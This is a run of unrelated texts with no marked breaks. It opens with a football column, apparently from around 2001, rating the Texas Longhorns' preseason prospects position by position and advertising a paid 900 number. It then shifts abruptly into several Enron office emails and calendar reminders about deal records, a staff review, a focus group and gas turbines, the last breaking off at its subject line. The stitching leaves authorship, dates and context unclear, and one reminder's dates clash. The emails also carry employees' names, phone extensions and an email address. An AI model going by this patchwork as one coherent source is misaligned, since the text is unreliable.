For those of you who want to know how the Longhorns are rated in everyone's
pre-season articles, I haven't seen all of them, but I have seen the major
ones and Texas is ranked No. 1 by the Sporting News, No. 3 by Lindy's and
ESPN, No. 4 by Sports Illustrated, No. 5 by the AP, No. 6 by USA Today/ESPN
(the coaches' poll) and Street & Smith, No. 8 by Football Diges and No. 15 by
Athlon.
And, like Mack Brown, I'll tell you it means absolutely nothing. Last year is
proof of that.
Some people also say Texas' schedule will keep the Horns out of the national
title game, even if they win all their games, because it doesn't include
enough tough teams.
That talk means nothing, too. Any team that wins a Big 12 division title,
then wins the league championship game and is undefeated, will be in the Rose
Bowl on Jan. 3.
Now that we've covered the what-if's, let's look at what is happening with
the Longhorns as they begin preparations to live up to those lofty pre-season
rankings.
The highly ranked freshman class had four workouts last week before the first
full team workouts started Saturday.
The freshmen weren't in full pads, but it was clear from watching the limited
contact that was allowed that DT Kaelen Jakes of Valencia, Cal., DE Eric Hall
of Clarksville, Tenn., LB Derrick Johnson of Waco, RB Cedric Benson of
Midland Lee, and several of the great group of offensive line recruits are as
big and fast and talented as advertised.
Players can't really dominate until they don full pads, which will happen
Wednesday, but Benson, while working with the freshmen Tuesday and Wednesday,
and then with the full team Saturday and Sunday, simply explodes after taking
a handoff.
High school coaches and players who faced him always said he had great speed
and power and moves, but they said the one thing that set him apart from
other great backs was the way he accelerated into the hole.
He hasn't lost any of that acceleration, and, even without getting an
opportunity to work in pads, he was running with the third team in practice
Saturday and Sunday, behind junior Victor Ike and sophomore Brett Robin.
Ike worked very hard during the off season and is sporting more muscles than
ever before. He doesn't seem to have lost any of his great speed.
Let's look at the team on a position-by-position basis, based on the limited
practices so far:

OFFENSE

Quarterback
Simms is clearly  No. 1. There is no quarterback controversy like there was
last season when Simms lacked experience and Major Applewhite wasn't fully
recovered from knee surgery. Applewhite underwent surgery on his other knee
last season and the severe knee injuries have eroded some of his once lethal
talents. He is No. 2 Redshirt freshman Chance Mock is big and fast and has a
strong arm and the coaches will make sure he plays this season. Freshman Matt
Nordgren is very big, has good speed and a strong arm, and he will redshirt
unless disaster strikes. The Sporting News not only picked UT to win the
national crown, it picked Simms to win the Heisman Trophy. He threw more
interceptions than touchdowns last season and he has to get better at looking
off receivers or he'll have more interception problems this season. In the
three practices he had Saturday and Sunday, he still seemed to home in on his
intended receiver very early. His progress in that problem area, in my
opinion, will determine whether Texas can compete for conference and national
honors.

Running Back
Ike's main asset is blinding speed, and the coaches want him to show more
consistent power. Robin's main asset is his steadiness. He runs every play
perfectly and gives great effort. Will Ike's speed and Robin's dependability
hold off Benson? I doubt it. We won't know for sure until the team starts
some serious contact, but, unless he gets hurt, Benson will play a lot in the
Sept. 1 opener against New Mexico State and I think he will be either be
starting or splitting time with the starter before mid-season. Junior Kenny
Hayter and sophomore Ivan Williams also are in contention, but Brown said
Sunday they both need to cut down on fumbling to have a chance to play.

Fullback
Junior Matt Trissel is the returning starter, but redshirt freshman Will
Matthews is bigger and faster and will push him for the top job. Junior Chad
Stevens is a good blocker and receiver and also will play, particularly on
passing downs.

Wide Receiver
Sophomores Roy Williams and B. J. Johnson starred last season as true
freshmen and will be even better this year if they stay healthy. Sophomore
Sloan Thomas also looked very good as a true freshman. Junior walk-on Kyle
Shanahan suffered a cut in his leg jumping over a fence, but should be back
in time for the first game. He is an outstanding receiver. Senior Montrell
Flowers also will play a lot. Redshirt freshman Tony Jeffery also will get
some playing time. All of them are dangerous. This position is loaded.

Tight End
Sophomore Bo Scaife has remarkable speed and receiving skills for a tight end
and he appears to be completely recovered from knee surgery. Sophomore Brock
Edwards is much bigger and also has very good speed. He started some games as
a true freshman last year. Senior Mike Jones is the best blocker of the group
and is sure handed, but he lacks the speed of Scaife and Edwards.

Left Tackle
Junior Robbie Doane held the job throughout the spring, but is getting a big
challenge from JC transfer Alfio Randall.

Left Guard
Junior Derrick Dockery and sophomore Tillman Holloway both started at times
last year and both are very talented. The Horns usually don't substitute much
in the offensive line, but coach Brown says both Dockery and Holloway will
play a lot.

Center
Senior Matt Anderson is the returning started and clear No. 1 center. Junior
Beau Baker is working at center and guard, and redshirt freshman Jason Glenn
is a talented newcomer who will push for playing time.

Right Guard
Senior Antwan Kirk-Hughes is one of the top offensive linemen around when his
shoulder is healthy, and Brown says it appears to be sound and ready for the
season. The loser of the Dockery-Holloway battle at left guard probably will
be the backup at both guard slots.

Right Tackle
Senior Mike Williams is the returning starter and one of the top tackles in
the country. He will be backed by talented redshirt freshman Lionel Garr.

DEFENSE

Left End
Junior Cory Redding led the team in sacks last season with 6.5 and is bigger
and stronger this year. Junior O. J. McClintock was his backup, but he
suffered severe cuts to his right hand and arm in a household accident and
the coaches are trying linebackers Reed Boyd and Marcus Wilkins at end until
he recovers. Brown said McClintock probably will miss the first three or four
games.

Left Tackle
Sophomores Adam Doiron and redshirt freshman Stevie Lee are battling for the
starting job. Both have talent and both played well last year as true
freshmen. Lee got a medical hardship because he broke a bone in his foot in
the second game, so he is again a freshman.

Right Tackle
Sophomore Marcus Tubbs played well last year standing in for injured senior
star Shaun Rogers, and he has been looking great in the early one-on-one
drills. Maurice Gordon, an end last year, was a great pass rusher in the
spring after moving inside and looks like he is ready to be a prime-time
player, particularly against passing teams.

Right End
Sophomore Kalen Thornton started the final nine games last year as a true
freshman and looks like he is ready to emerge as one of the top ends in the
Big 12. He was a freshman All-American last year. Senior Jermian Anderson is
his backup and is a good pass rusher.

Strongside Linebacker
Senior Lee Jackson, a former starting strong safety, is the starter and is a
sure tackler with the speed to blitz or cover tight ends or backs on pass
plays. He is backed by former starter Tyrone Jones, another senior.

Middle Linebacker
Senior De'Andre Lewis is a big, fast linebacker who has been a starter since
his redshirt freshman year. He is backed by redshirt freshman Austin
Sendlein, a tough run stopper.

Weakside Linebacker
Senior Everick Rawls has started since his sophomore year. He is a good run
stopper withe speed to blitz and help on pass coverage. With Boyd and Wilkins
helping at end, speedy true freshman Derrick Johnson will have an opportunity
to earn playing time.

Left Cornerback
Senior Quentin Jammer is rated by the pro scouts as the nation's top
cornerback prospect. He is big and fast, and, true to his name, is very good
at jamming receivers at the line of scrimmage. Senior Ervis Hill is a fine
backup.

Right Cornerback
Junior Roderick Babers started last year and is a strong cover corner with
excellent speed. Sophomore Nathan Vasher, who also is contending for a
starting safety job, is his backup.

Strong Safety
Vasher and fellow sophomore Dakarai Pearson are battle for the starting job.
Both are very talented.

Free Safety
Again, it is Vasher competing with senior Ahmad Brooks for the starting job.
Both are former cornerbacks with good speed and coverage skills.

SPECIAL TEAMS

Punter
Junior college transfer Brian Bradford is running ahead of redshirt freshman
Justin Smith. Both kick for good distance and get good hang time, but Bradfor
has been more consistent.

Placekicker
Two freshmen walk-ons - David Pino of Wichita Falls Rider and Dusty Mangum of
Mesquite - have both been impressive in the first week of drills. Both have
been accurate consistently up to 40 yards and both have had some success at
longer distances. Pino had scholarship offers from Nebraska and Tennessee and
actually committed to the Cornhuskers at one point before deciding to walk on
at Texas. If one of the walk-on freshmen can solidify this position, it will
really help the team's chances in close games.

SUMMARY
The Longhorn receiving corps, including the tight ends, is unequalled in the
country in terms of quality and quantity. The defensive backfield is very
good and will be one of the nation's best. At quarterback and in the
defensive line, the Longhorns are very talented. The offensive line is a
strong pass-blocking unit and is working on getting better at run blocking.
The linebackers, as a group, are solid. The question marks are at running
back and place kicker, and talented freshmen could answer both those needs.
This should be Mack Brown's best team at Texas.

900 Number Updated Daily

I update my 900 number every day with football and football recruiting news.
The number is 1-900-288-8839. It costs $1.59 a minute. You must be 18 or
older to call.


CALENDAR ENTRY:	REMINDER

Description:
	Call Rainbow Lodge

Date:		11/13/2000
Time:		12:00 PM (Central Standard Time)

Chairperson:	Outlook Migration Team

Detailed Description:


I will need to make these changes in Sitara.  On some of these deals it will
require me to go in and copy the ticket to a new ticket to move December 2000
forward.  These changes will be made this afternoon.  If you have questions
or concerns please call met at X3-3048.

---------------------- Forwarded by Elizabeth L Hernandez/HOU/ECT on
12/05/2000 07:50 AM ---------------------------

Cyndie Balfour-Flanagan@ENRON
12/04/2000 05:21 PM
To: Elizabeth L Hernandez/HOU/ECT@ECT
cc: Jeffrey C Gossett/HOU/ECT@ECT, Linda S Bryan/HOU/ECT@ECT
Subject: CES Deal Clean-up

Listed below are deals for which we have rec'd consent to assignment, but are
still showing in Sitara as CES deals. Please make the necessary changes.

CP Name (as showing in Sitara)  'New' CP Name   Deal #  Date Consent Executed
CES - Entergy New Orleans , Inc  Entergy New Orleans, Inc  140327  08/09/00
CES - Entergy New Orleans , Inc  Entergy New Orleans, Inc  140330  08/09/00
CES - Entergy New Orleans , Inc  Entergy New Orleans, Inc  140332  08/09/00
CES - Entergy New Orleans , Inc  Entergy New Orleans, Inc  140334  08/09/00
CES - Entergy New Orleans , Inc  Entergy New Orleans, Inc  140336  08/09/00
CES - Entergy New Orleans , Inc  Entergy New Orleans, Inc  140337  08/09/00
CES - Flash Gas & Oil Southwest Inc.  Flash Gas & Oil Southwest Inc. 263609
08/03/00
CES - Hunt, Lydia    Hunt, Lydia   263650  09/06/00
CES - James E. Brummage   James E. Brummage  220339  05/05/00
CES - Lakeland, City of   Lakeland, City of    142035  08/07/00
CES - Lakeland, City of   Lakeland, City of    142036  08/07/00
CES - Lakeland, City of   Lakeland, City of    142037  08/07/00
CES - Ochs Bros.    Ochs Bros.   229857  05/19/00


FYI per my longer e:mail update message...
---------------------- Forwarded by Sally Beck/HOU/ECT on 03/09/2001 07:17 PM
---------------------------

	Enron North America Corp.

	From:  Sally Beck                           03/09/2001 05:20 PM

To: Louise Kitchen/HOU/ECT@ECT
cc:
Subject: Gordon Heaney's Acceptance

FYI - Beth Apollo led the doorstep review in Monterrey last week.  No
problems discovered - but Beth did find some communications and system access
issues that could be improved to make it easier for Max's team to do their
jobs.  She has quickly identified a point person within Operations in Houston
who is bi-lingual (Gordon).  Max's note addresses his pleasure over Beth's
responsiveness and the doorstep process in general.  Just wanted to pass this
along.  --Sally
---------------------- Forwarded by Sally Beck/HOU/ECT on 03/09/2001 05:15 PM
---------------------------

Max Yzaguirre@ENRON
03/09/2001 04:37 PM
To: Beth Apollo/Enron@EnronXGate
cc: Sally Beck/HOU/ECT@ECT
Subject: Gordon Heaney's Acceptance

Beth:

Thanks for the note regarding Gordon.  I appreciate the quick turnaround time
on it, and I agree that he should be a helpful addition to the team.

Put me down as a fan of the doorstop review process.

Best regards - Max


this is the other meeting previously scheduled

 -----Original Message-----
From: 	Davis, Sarah A.
Sent:	Monday, October  15, 2001 2:01 PM
To:	Neal, Scott
Subject:	Focus Group
Importance:	High

REMINDER

Enron Vice President Focus Group
Tuesday, Sept. 16
4:00-5:00
EB16C1

Thanks for your participation!

Sarah A. Davis
Director of Resource Mgmt, WorkLife & Employee Relations
713/853-5328
Fax 713/646-8498
sarah.a.davis@enron.com


I am taking Wedneday p.m. off to deal with furniture deliveries.


Guys, FYI - Ben, can you follow up with this person with our interest or lack
thereof whichever is applicable.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 12/05/2000
10:54 AM ---------------------------

	Enron North America Corp.

	From:  Sherri Sera @ ENRON                           12/04/2000 12:08 PM

To: David W Delainey/HOU/ECT@ECT
cc: Kay Chapman/HOU/ECT@ECT
Subject: Gas turbine availability

David, I believe this should have been addressed to you.  Please advise if it
should be forwarded elsewhere.  Thanks, SRS
---------------------- Forwarded by Sherri Sera/Corp/Enron on 12/04/2000
11:55 AM ---------------------------

JMisteli@aol.com on 12/04/2000 10:23:06 AM
To: jeff.skilling@enron.com
cc:

Subject: Gas turbine availability

????????????????????????????????????????????????????????????????????????????
?????????????12/4/00
Dear Mr Skilling,
Attached is a letter concerning gas turbine power plants which could be
operational next summer.
Sincerely,
John A. Misteli
 - GT Lttr HC4-2A E Mail.doc


---------------------- Forwarded by Tracy Ngo/PDX/ECT on 12/06/2000 09:23 AM
---------------------------

Tracy Ngo
12/06/2000 09:12 AM
To: William S Bradford/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, Edward
Sacks/Corp/Enron@Enron, Wendy Conwell/NA/Enron@ENRON, Veronica
Gonzalez/HOU/ECT@ECT, Tanya Rohauer/HOU/ECT@ECT
cc:

Subject: northwest power article